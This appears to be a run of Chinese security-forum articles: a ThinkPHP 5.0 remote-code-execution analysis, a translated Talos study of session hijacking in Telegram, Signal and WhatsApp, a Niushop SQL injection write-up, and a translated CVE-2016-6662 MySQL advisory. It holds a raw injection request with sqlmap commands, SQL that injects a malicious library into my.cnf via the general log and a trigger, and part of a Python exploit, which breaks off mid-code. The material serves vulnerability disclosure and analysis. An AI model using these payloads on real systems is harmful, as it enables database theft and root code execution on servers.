那么，当攻击者控制返回的`$method`的值为get的时候，`$rules`的值就是这条路由的规则。然后回到上文取到`$rules`之后，根据传入的URL取得$item的值，使得`$rules[$item]`的值为captcha路由数组，就可以进一步调用到`self::parseRule`函数。函数体略长，这里取关键点：
private static function parseRule($rule, $route, $pathinfo, $option = [], $matches = [], $merge = false)
{
// 解析路由规则
......
......
if ($route instanceof \Closure) {
// 执行闭包
$result = ['type' => 'function', 'function' => $route];
} elseif (0 === strpos($route, '/') || 0 === strpos($route, 'http')) {
// 路由到重定向地址
$result = ['type' => 'redirect', 'url' => $route, 'status' => isset($option['status']) ? $option['status'] : 301];
} elseif (0 === strpos($route, '\\')) {
// 路由到方法
$method = strpos($route, '@') ? explode('@', $route) : $route;
$result = ['type' => 'method', 'method' => $method];
} elseif (0 === strpos($route, '@')) {
// 路由到控制器
$result = ['type' => 'controller', 'controller' => substr($route, 1)];
} else {
// 路由到模块/控制器/操作
$result = self::parseModule($route);
}
return $result;
}
此时传递进来的`$route`的值为`\think\captcha\CaptchaController@index`。因此进入的是标注红色的if分支中。在这个分支中，`$result`的’type’键对应的值为‘method’。然后将`$result`层层返回到run函数中，并赋值给了`$dispatch`。
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
// 记录当前调度信息
$request->dispatch($dispatch);
// 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
// 监听 app_begin
Hook::listen('app_begin', $dispatch);
// 请求缓存检查
$request->cache(
$config['request_cache'],
$config['request_cache_expire'],
$config['request_cache_except']
);
$data = self::exec($dispatch, $config);
然后将`$dispatch`带入到`self::exec`函数中：
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 实例
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}
return $data;
}
进入到红色标注的分支，该分支调用Request类的param方法。因此，满足了利用链的第三步，造成命令执行。
启明星辰ADLab安全研究员对ThinkPHP5.0-5.0.23每个版本都进行了分析，发现ThinkPHP5.0.2-5.0.23可以使用同一个POC，而ThinkPHP5.0-5.0.1需要更改一下POC，原因在于Route.php的rule函数的一个实现小差异。
ThinkPHP5.0-5.0.1版本的thinkphp/library/think/Route.php:235，将$type转换成了大写：
在ThinkPHP5.0.2-5.0.23版本中，rule函数中却将`$type`转换成了小写：
### **补丁分析**
在ThinkPHP5.0.24中，增加了对`$this->method`的判断，不允许再自由调用类函数。
### **结论**
强烈建议用户升级到ThinkPHP5.0.24版本，并且不要开启debug模式，以免遭受攻击。
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近400个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
### 摘要
自互联网诞生以来消息聊天应用就已存在。随着一些国家对通信应用进行大规模监控，更多的用户安装了“安全通讯”之类的端到端加密应用程序。这些应用声称可以加密用户的邮件，并保护其内容免受任何第三方的侵害。
然而，在深入研究其中的三个安全消息传递应用程序（Telegram，WhatsApp和Signal）之后，我们发现这些安全服务可能无法像他们所承诺的那样保护用户的隐私。
对于用户来说，他们下载这些应用的目的就是希望应用能对他们的照片、消息等隐私进行保护，所以这个消息无疑对用户来说是十分严重的。对于这些应用程序来说，他们无法假设使用用户受过安全的教育，并对设备上的某些设置所带来的风险十分了解。因此，应用厂商有义务向用户解释应用中存在的威胁，并在其设置中使用更安全的默认值。
在这篇文章中，我们将演示攻击者如何通过侧信道攻击来破坏这些应用程序的操作系统的。这篇文章还将深入探讨这些应用程序处理用户数据的方法。
### 安全消息应用
安全消息应用程序背后所使用的安全概念如下：他们将用户之间的所有通信进行加密，并且不涉及第三方的参与。这意味着服务提供商在任何时候都不能读取到隐私消息的内容。
为了实现端到端加密，这些应用程序可以开发自己的加密协议，或者采用第三方加密协议。这些应用程序通常使用两种协议：由安全消息应用程序`Telegram`开发的MT协议，以及由软件公司`Open
Whisper
Systems`开发的信号协议。由于MT协议实现不是开源的，所以大多数的应用程序使用信号协议或者其改进版。文本之外的内容会根据用户的需求选择合适的协议。
下面是是`Facebook
Messenger`的安全机制详情，它使用了一种称为“秘密对话”的功能以及谷歌Allo技术，而后者有一项名为“隐身”聊天的功能。在这两种协议中，加密实现的过程得到了安全社区的高度重视。过去，研究人员分析了加密的公开可用的源代码，并在实时通信数据中进行了黑盒分析。
然而，安全消息应用程序远不止加密协议，还包括其他组件，例如UI框架、文件存储模型、组注册和用作攻击媒介的机制。在Electron框架中发现的漏洞CVE
2018-1000136（WhatsApp和Signal用它来构建他们的用户界面）就是一个很好的例子。在最糟糕的情况下，此漏洞可允许攻击者远程执行代码并且用于复制邮件。
这些协议的核心是在传输过程中保持通信的私密性。但是它们无法在数据处理或消息到达用户设备时保证安全性。WhatsApp最近发现的漏洞证明了这些协议对应用程序的组管理也不会进行管理。
如果攻击者破坏WhatsApp服务器，他们可以在没有组管理员批准的情况下将新成员添加到组中，从而允许他们阅读新消息。这意味着攻击者可以选择特定的WhatsApp通信小组进行消息窃听。这也打破了应用程序所谓的在通信上提供端到端加密的防御机制。
而在安全技术背后也存在着诸多问题。
所有这些应用程序都宣传自己是安全和隐私的。 他们中的一些甚至声称他们“不受黑客攻击”。 这些语句都旨在将用户和应用程序之间信任进行建立。
用户相信应用程序会保护其私有数据的安全。
由于应用程序拥有百万的活跃用户，所以我们可以大胆的猜测并不是所有的用户都对网络安全有足够的了解。因此，他们中的大多数人不会完全理解某些配置是如何工作的。保护个人隐私安全不仅仅是技术，还包括能够准确理解决策风险的方式并为用户提供正确的信息。
电报广告指出，它们的技术会使用户的消息“免受黑客攻击”。
资料来源：`http://www.telegram.com`
这些应用程序上所宣传的另一个重要功能是它们具有多平台的功能。
所有应用程序都会支持移动设备平台和桌面平台。用户会默认的以为所有平台上的安全级别都是相同的。并且所有应用程序网站也都提出了安全性、隐私和平台保持同一水平的想法。
此广告向用户显示他们可以在各种平台上使用该应用程序。
来源`http://www.signal.org`
实现安全功能往往因平台不同而存在差异。某些平台与其他平台相比危险性更大。然而由于用户潜意识认为各个平台的安全程度相同，所以我们需要将这些风险意识传递给用户。
### 问题所在
使用这些应用程序的大多数用户是没有受到过网络安全教育的，这也就意味着他们会盲目地信任这些应用程序，并认为它们会提供安全保障。很明显，这种信任的来源是由于应用公司夸大事实的广告行为导致的。
在2018年5月16日，Talos发表了一篇关于Telegrab的技术文章。在文章中分析了一种可以劫持Telegram会话的恶意软件。
这个技术文章很简单：如果攻击者可以从电脑系统上复制会话token，那么它就能够劫持会话。 除了本地存储的信息之外，攻击者不需要其他内容。
无论信息是否加密都无关紧要 - 通过复制此信息，攻击者将能够使用它来创建shadow会话。
在经过我们再次研究后，我们决定测试一下此技术是否同样适用于其他的应用程序。而经过测试发现，这些应用（Telegram，Signal，WhatsApp）都存在相同的技术理论。并非所有的应用都会以相同的方式处理这些会话，所以不同的应用会对此攻击产生不同的后果。
在下面的内容中，我们将介绍一下一些具体的攻击场景，部分攻击可以复制或劫持这些应用程序的会话信息。
### 应用详情
#### Telegram - 桌面版会话劫持
Telegram应用在发生会话劫持的时候隐蔽性最好的应用。用户在发送或者接受消息和图像的时候会将同意的消息复制一份到攻击者的会话中。
一旦攻击者使用被盗会话信息启动Telegram桌面应用程序，那么就会建立新会话而不会向用户发出任何消息。 用户必须检查是否存在其余正在运行的会话。
而这个过程是通过浏览设置来执行的，这对于普通的用户来说是相对困难的。当消息确实显示在Telegram上时，对普通用户来说也是难以发觉的。
#### Signal - 桌面版会话劫持
Signal会将会话劫持视为竞争条件。
倘若攻击者使用被盗的会话信息启动应用程序时，那么他们需要首先竞争会话权。因此，用户将会在桌面版应用程序上看到错误消息，但不会在移动设备上看到错误消息。
在Mac上创建的会话将在Windows上运行，反之亦然。
但是当受害者收到这些消息时，攻击者已经可以访问所有未被删除的联系人和之前的聊天记录。
为了防止竞争条件，攻击者可以删除会话信息。 当用户启动应用程序时，它将收到重新链接应用程序的请求。
对于安全专家来说，这将是研究漏洞所需要注意的点。 但对于普通用户，他们可能认为这只是应用程序中的错误。
上图是同一设备中的两个会话详情。
当用户在创建第二个会话的时候会从移动设备上看到详细信息，默认情况下，这两个会话拥有相同的名称。
因此，攻击者将能够查看所有消息甚至冒充受害者。 攻击者发送的消息将到达受害者的设备中，然而为了避免被检测到，攻击者可以在发送时删除它们。
拥有“隐身”功能的这些应用会使受害者难以对其进行识别。
### WhatsApp - 桌面版会话劫持
在上述所提到的这些应用程序中，只有WhatsApp是唯一一个实现了在打开第二个会话时进行通知的应用。在正常操作下，如果攻击者使用被盗会话信息，受害者应该收到如下图所示的警告。
创建第二个会话时，此通知会在联机应用程序中弹出。 在用户做出决定之前，第二个会话将是实时且可用的。
因此，当此通知出现时，攻击者已经可以访问受害者的联系人和消息。
攻击者在消息框回复消息前可以伪造成受害者的身份。在用户未曾使用终端的时候，攻击者将有权对终端进行访问直到用户再次登录终端。
而在用户终端设备上并没有明显警告来提醒他们发生了什么。而使用桌面版应用时，受害者则可以收到相应的通知。
此警告机制存在缺陷，因为攻击者可能会按照以下步骤绕过它。
攻击者可以通过跳过步骤4并在执行步骤5之前进行等待来简化攻击过程。而攻击的结果将是相同的，因为他们可以访问相同的消息。
如果受害者手动终止移动设备上的会话，则攻击者将仅失去访问权限。
根据我们的研究，此漏洞已向Facebook披露。
所有咨询详情均可在[此处](https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0643)找到。
### Telegram- 移动端会话劫持
会话滥用不仅仅是桌面版系统中存在的问题。 移动应用程序也会存在滥用这些会话威胁。
由于在移动环境下用户会话消息很难被获取，所以用户本不应该担心他们的会话隐私会受到损害。然而根本问题在于Telegram会允许Shadow会话在同一设备上令相同的电话号码共存，同时在不同的应用程序中处理它。
这样便可以实现攻击，攻击者在会话终止前可以在Telegram上读取所有消息和联系人。
对于移动设备，除非用户通过选项菜单明确使请求终止，否则会话永远不会终止。
在Android平台上还有另一种情况，恶意应用程序可以在没有任何用户干预的情况下创建shadow会话。
恶意应用程序只需要获取到“读取短信”和“杀死后台进程”权限便可以进行攻击。然而这些权限通常不被视为危险所在，并且可以轻松通过Google
Play商店进行验证获取。
Telegram应用注册过程首先会请求电话号码，该电话号码通过包含唯一代码的SMS确认。
如果用户再次尝试注册同一个电话号码，Telegram将通过Telegram频道发送代码而不是SMS码。
从SMS到Telegram消息的传递通道的变化过程中，由于攻击无法读取代码详情，所以我们应该防止恶意应用程序在没有用户交互的情况下创建shadow会话。
如果注册未在特定时间范围内完成，Telegram会假定用户无权访问Telegram应用程序，并通过SMS发送新代码。
此备份机制可能会创建出可被恶意应用程序利用的竞争条件，从而导致在没有用户交互的情况下创建shadow会话。 整个过程概述如下。
从此阶段开始，恶意应用程序将可以访问不属于“秘密聊天”的联系人，并且包括所有的聊天消息。
### 总结
安全的消息应用程序应该具有在传输过程中保护信息的功能，甚至可以保护信息免受其自身服务器的影响。但是它们无法实现保护应用程序状态和用户信息，所以应用会将此保护委派给操作系统来进行。
Signal协议的开发人员预测此会话将被劫持。会话管理协议（Sesame协议）安全考虑因素包含一个专门针对设备信息泄露的子内容，协议指出，“如果攻击者获取了设备的秘密值，例如身份私钥和会话状态，则安全性会受到灾难性损害。”
协议开发人员甚至预测了这种攻击所使用的媒介。使用这个协议的个人用户和公司应该是拥有相关安全意识的。因此，使用这些应用程序传输私人信息的公司会采用点到点加密来更好的对资产进行保护。
本文为翻译稿件，翻译自：https://blog.talosintelligence.com/2018/12/secureim.html | 社区文章 |
### 0x01 前言
> [Niushop B2C](https://www.niushop.com.cn/ "Niushop
> B2C")商城系统基于[ThinkPHP](http://www.thinkphp.cn/
> "ThinkPHP")5.0开发，源码全部开放(100%)，商用免费，四网合一，满足用户、企业、开发者、服务商等角色要求
### 0x02 代码分析
跟踪到 **/Application/(wap/shop)/Controller/Goods.php** 中的 **promotionZone** 方法
* 1337 Line: 判断是否是ajax请求
* 1338 Line: 获取get参数为page的值并赋给$page_index
* 1339 Line: 获取get参数为group_id的值并赋给$group_id
* 1343 Line: 判断$group_id是否不为空
* 1344 Line: 将$group_id拼接到SQL语句中并赋给$condition
* 1353 Line: 将$condition传入到GoodsService中的getGoodsList方法中
跟踪到 **/data/service/Goods.php** 中的 **getGoodsList** 方法：
* 112 Line: $condition自上而下无过滤到这里传入到模型NsGoodsViewModel中的getGoodsViewList
跟踪到 **/data/model/NsGoodsViewModel.php** 中的 **getGoodsViewList** 方法：
* 43 Line: 将$condition传入当前模型中的getGoodsViewQuery方法
跟踪到 **/data/model/NsGoodsViewModel.php** 中的 **getGoodsViewQuery** 方法：
* 95: Line: 这里又将$condition传入到基类中的viewPageQuery方法
跟踪到 **/data/model/BaseModel.php** 中的 **viewPageQuery** 方法：
* 到方法体中可以看到$condition被带入查询了，未见过滤，从而导致了SQL注入
### 0x03 漏洞探测
### 0x04 漏洞复现
GET /index.php?s=/wap/Goods/promotionZone&group_id=*&page=1 HTTP/1.1
Host: 172.16.209.129:8085
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.209.129:8085/index.php/wap/goods/promotionZone
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735
Connection: close
* 将数据包保存为niushop.txt
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql"
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" --current-db
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" -D niushop_b2c --tables
### 0x05 漏洞修复 | 社区文章 |
# 【技术分享】CVE-2016-6662：Mysql远程代码执行/权限提升技术分析正式版（9/13 10:47更新）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html>
译文仅供参考，具体内容表达以及含义原文为准。
作者：[苦逼司马](http://bobao.360.cn/member/contribute?uid=116160120)（凌晨四点收到投稿，感谢作者连夜编辑技术分析）
稿费：800RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**引用**
* * *
【技术分享】CVE-2016-6662-MySQL ‘malloc_lib’变量重写命令执行分析
<http://bobao.360.cn/learning/detail/3026.html>
【漏洞预警】Mysql代码执行漏洞，可本地提权（含exp，9/13 01点更新）
<http://bobao.360.cn/learning/detail/3025.html>
* Discovered by: Dawid Golunski
* [http://legalhackers.com](http://legalhackers.com)
* dawid (at) legalhackers.com
* CVE-2016-6662
* Release date: 12.09.2016
* Severity: Critical
## I. VULNERABILITY
MySQL <= 5.7.15 远程代码执行/权限提升 (0day)
5.6.33
5.5.52
克隆mysql的同样受影响, 包括:
MariaDB PerconaDB
## II. INTRODUCTION
一个独立的研究组织发现多处严重的Mysql漏洞，此次通报的是其中比较严重的一个漏洞CVE-2016-6662，它允许攻击者远程注入恶意设置到被攻击服务器的Mysql配置文件(my.cnf)中，导致更加严重的后果。
该漏洞影响所有默认配置的Mysql版本分支(5.7、5.6、5.5)，包括最新的版本，并可能被攻击者进行本地或者远程的利用。exp既可以通过网络连接或者利用类似phpmyadmin之类的web管理工具，以及SQL注入漏洞等。
SQL注入漏洞是在web应用中最常见的漏洞之一，在存在注入漏洞的情况下，攻击者可以配合CVE-2016-6662进行更加深入的入侵。如果被攻击服务器有运行受影响的mysql版本，攻击用该漏洞的EXP可以以root权限执行任意代码，从而完全控制被攻击服务器。
目前官方还没有提供针对该漏洞的补丁，即使服务器开启了SELinux安全模式，也会受到该漏洞Exp的影响。该通报后面提供一个该漏洞的Poc，演示攻击者如何实现远程代码执行。
## III. DESCRIPTION
默认的Mysql安装包自带mysql_safe脚本，启动mysql服务器就可以观察到，例如，假如进行mysql全面更新。
Debian系统:
root@debian:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 8.5 (jessie)
Release: 8.5
Codename: jessie
root@debian:~# dpkg -l | grep -i mysql-server
ii mysql-server 5.5.50-0+deb8u1
ii mysql-server-5.5 5.5.50-0+deb8u1
ii mysql-server-core-5.5 5.5.50-0+deb8u1
通过运行如下命令启动Mysql(用默认Debian仓库提供的软件包安装)
root@debian:~# service mysql start
或用如下方式启动:
root@debian:~# /etc/init.d/mysql start
Mysql服务的进程树看起来如下:
root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe
mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
可以看出，mysqld_safe封装脚本是以root权限启动的，而主要的mysqld进程是用较低权限的mysql用户启动的。
mysqld_safe封装脚本有以下功能 :
----[ /usr/bin/mysqld_safe ]---- [...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
----------[ eof ]---------------
它可以用来在启动服务之前加载共享库，库文件可以通过下面的参数进行设置：
–malloc-lib=LIB
这个参数也可以在mysqld的配置文件中指定(my.cnf中)，在[mysqld]或者[mysqld_safe]部分。
如果攻击者能够将其恶意的库文件路径插入到配置文件中，就可以加载任意库，当mysql服务重启(手动、系统更新包更新、系统重启等)时，可以以root权限执行任意代码。
2003年公布的一个mysql 3.23.55之前版本的漏洞，允许攻击者利用一个简单的语句创建mysql配置文件：
SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'
这个漏洞被修复，利用outfile查询创建的文件默认是没办法覆盖现有文件的，这样可以保护现有的配置文件。该漏洞已经在mysql
3.23.55版本中修复，写入配置文件已经算不可能了。
然而POC证明，有可能利用Mysql的日志功能(默认方式安装的mysql)绕过当前的限制，来实现如下的目标：
1，注入恶意配置文件到现有的mysql配置文件中，前提是配置文件权限配置不当，配置文件所属用户是mysql用户，并且mysql用户有配置文件的可写权限；
2，在mysql数据目录中创建新的配置文件，通过默认方式安装mysql的话，mysql用户默认对此目录是有可写权限的，因此不需要依靠不当的权限配置。
3，通过默认方式安装的mysql，攻击者仅用select查询的file权限就可以访问日志功能（该功能通常只提供给mysql管理用户），因此攻击者可以在位置添加修改配置文件。
##
## IV. PROOF OF CONCEPT
**1，利用不正确的权限配置(配置文件所属mysql用户，mysql用户有可写权限)注入恶意配置到mysql的配置文件；**
当mysqld_safe脚本执行时，mysql配置文件从所有支持的位置逐一加载和处理，确切的配置文件位置取决于mysql的版本。 例如，如上所述：
http://dev.mysql.com/doc/refman/5.5/en/option-files.html mysql5.5的配置位置包括：
/etc/my.cnf 全局配置
/etc/mysql/my.cnf 全局配置
SYSCONFDIR/my.cnf 全局配置
$MYSQL_HOME/my.cnf 服务特定配置
默认额外文件，如果有~/my.cnf，用–defaults-extra-file参数来指定用户特定的配置。
目前有一种常见误解是mysql用户必须有mysql配置文件的所属权限，才能让服务正常工作。许多安装指南，甚至安全指南经常错误的建议用户给予mysql用户mysql配置文件或目录的所属权限。
例如:
https://github.com/willfong/mariadb-backup/blob/master/README.md
提到:
用如下命令设置配置文件权限：
chown mysql /etc/my.cnf
chmod 600 /etc/my.cnf"
而在如下文章中提到:
http://www.devshed.com/c/a/mysql/security-issues-with-mysql/
"你应该保护全局配置文件/etc/my.cnf，如果存在的该文件，所属用户应该是mysql用户，并且mysql用户要有读写权限，但其它用户只需要只读权限"。
shell> chown mysql /etc/my.cnf"
如果mysql用户有mysql配置文件的所属权限，攻击可以追加恶意的配置项，如下所示：
root@debian:~/# ls -l /etc/my.cnf
-rw-r--r-- 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf
root@debian:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M
攻击者可以运行下面的SQL查询:
mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
然后配置文件将增加如下的部分：
root@debian:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:25:14 40 Query select '
; injected config entry
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
[separator]
'
160728 17:25:15 40 Query set global general_log = off
这个配置将会让mysql启动失败，因为该文件中包含一些冗余的信息，然而最重要的部分是mysql配置文件包含了以下部分：
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
在mysqld守护进程启动之前，mysqldsafe将正确的读取共享库的路径，并把它添加到LDPRELOAD环境变量。然后预装库的fopen()函数在mysqld守护进程启动之前处理和清理配置文，为的是mysql能够正常启动。
**2，在mysql数据目录中创建新的配置文件，通过默认方式安装mysql的话，mysql用户默认对此目录是有可写权限的，因此不需要依靠不当的权限配置。**
mysqldsafe脚本的分析表明，在除上文中提到的配置文件位置之外，在mysql5.5、5.6版本中mysqldsafe在默认情况下还会从mysql的数据目录(/var/lib/mysql/my.cnf)加载配置文件，如下：
----[ /usr/bin/mysqld_safe ]---- [...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
DATADIR=$MY_BASEDIR_VERSION/data
if test -z "$defaults" -a -r "$DATADIR/my.cnf"
then
defaults="--defaults-extra-file=$DATADIR/my.cnf"
fi
[...]
----------[ eof ]---------------
从mysql 5.7开始移除了这个功能，然而在很多配置中，任然是从如下位置加载配置文件：
/var/lib/mysql/.my.cnf
mysql用户是有mysql数据目录(/var/lib/mysql)写权限的:
root@debian:~# ls -ld /var/lib/mysql/
drwx------ 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/
因此，如果没有所属mysql用户的配置文件，攻击者可能仍然能够利用此漏洞在如下位置创建配置文件：
/var/lib/mysql/my.cnf /var/lib/mysql/.my.cnf
正如前文提到的，用file权限创建这样的文件：
SELECT '恶意配置内容' INTO OUTFILE '/var/lib/mysql/my.cnf'
是行不通的，因为通过这种方式创建的文件权限如下：
-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf
**mysql在启动的时候会组织这种全部可写的配置，但是攻击者利用该漏洞可以绕过这个限制：**
mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
以上SQL创建一个具有必要权限(other用户没有读写权限)的可供mysql守护进程解析的配置文件：
# ls -l /var/lib/mysql/my.cnf
-rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf
这个文件包含的内容如下：
# cat /var/lib/mysql/my.cnf
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:48:22 43 Query select '
; injected config entry
[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
[separator]
'
160728 17:48:23 43 Query set global general_log = off
然而，依然存在一个问题，mysql会拒绝不以“[”符号开头的文件，会报错如下：
error: Found option without preceding group in config file:
/var/lib/mysql/my.cnf at line: 1 Fatal error in defaults handling. Program
aborted
**不过深入的测试证明可以绕过此安全限制导致的错误，继续看下文。**
值得大家注意的是，cve-2016-6662漏洞的报告者利用其它漏洞可以轻易的创建任意内容的/var/lib/mysql/my.cnf配置文件，并不需要file权限，只是报告者并未披露其它的漏洞。
**3,通过默认方式安装的mysql，攻击者仅用select查询的file权限就可以访问日志功能（该功能通常只提供给mysql管理用户），因此攻击者可以在位置添加修改配置文件。**
如果攻击者没有访问日志功能的管理权限，只有标准用户权限与另外的file权限，那么攻击者仍然可以获得写入修改配置文件的能力，可以利用一个恶意的触发器来实现：
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `active_table` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void;
set global general_log = off;
END;
利用类似的语句创建触发器
SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'
当表刷新的时候就会执行触发器，比如通过insert来让表刷新：
INSERT INTO `active_table` VALUES('xyz');
触发器的代码会以mysql root权限执行，从而让攻击者修改general_log设置，即使攻击者没有数据库管理员权限。
## V. PROOF OF CONCEPT – 0day
----------[ 0ldSQL_MySQL_RCE_exploit.py ]-------------- #!/usr/bin/python
# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of
# the advisory for details on this vector.
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
#
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)
intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
"""
import argparse
import mysql.connector
import binascii
import subprocess
def info(str):
print "[+] " + str + "n"
def errmsg(str):
print "[!] " + str + "n"
def shutdown(code):
if (code==0):
info("Exiting (code: %d)n" % code)
else:
errmsg("Exiting (code: %d)n" % code)
exit(code)
cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'
# Main Meat
print intro
# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
args = parser.parse_args()
# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
errmsg("Failed to connect to the target: {}".format(err))
shutdown(1)
try:
cursor = dbconn.cursor()
cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
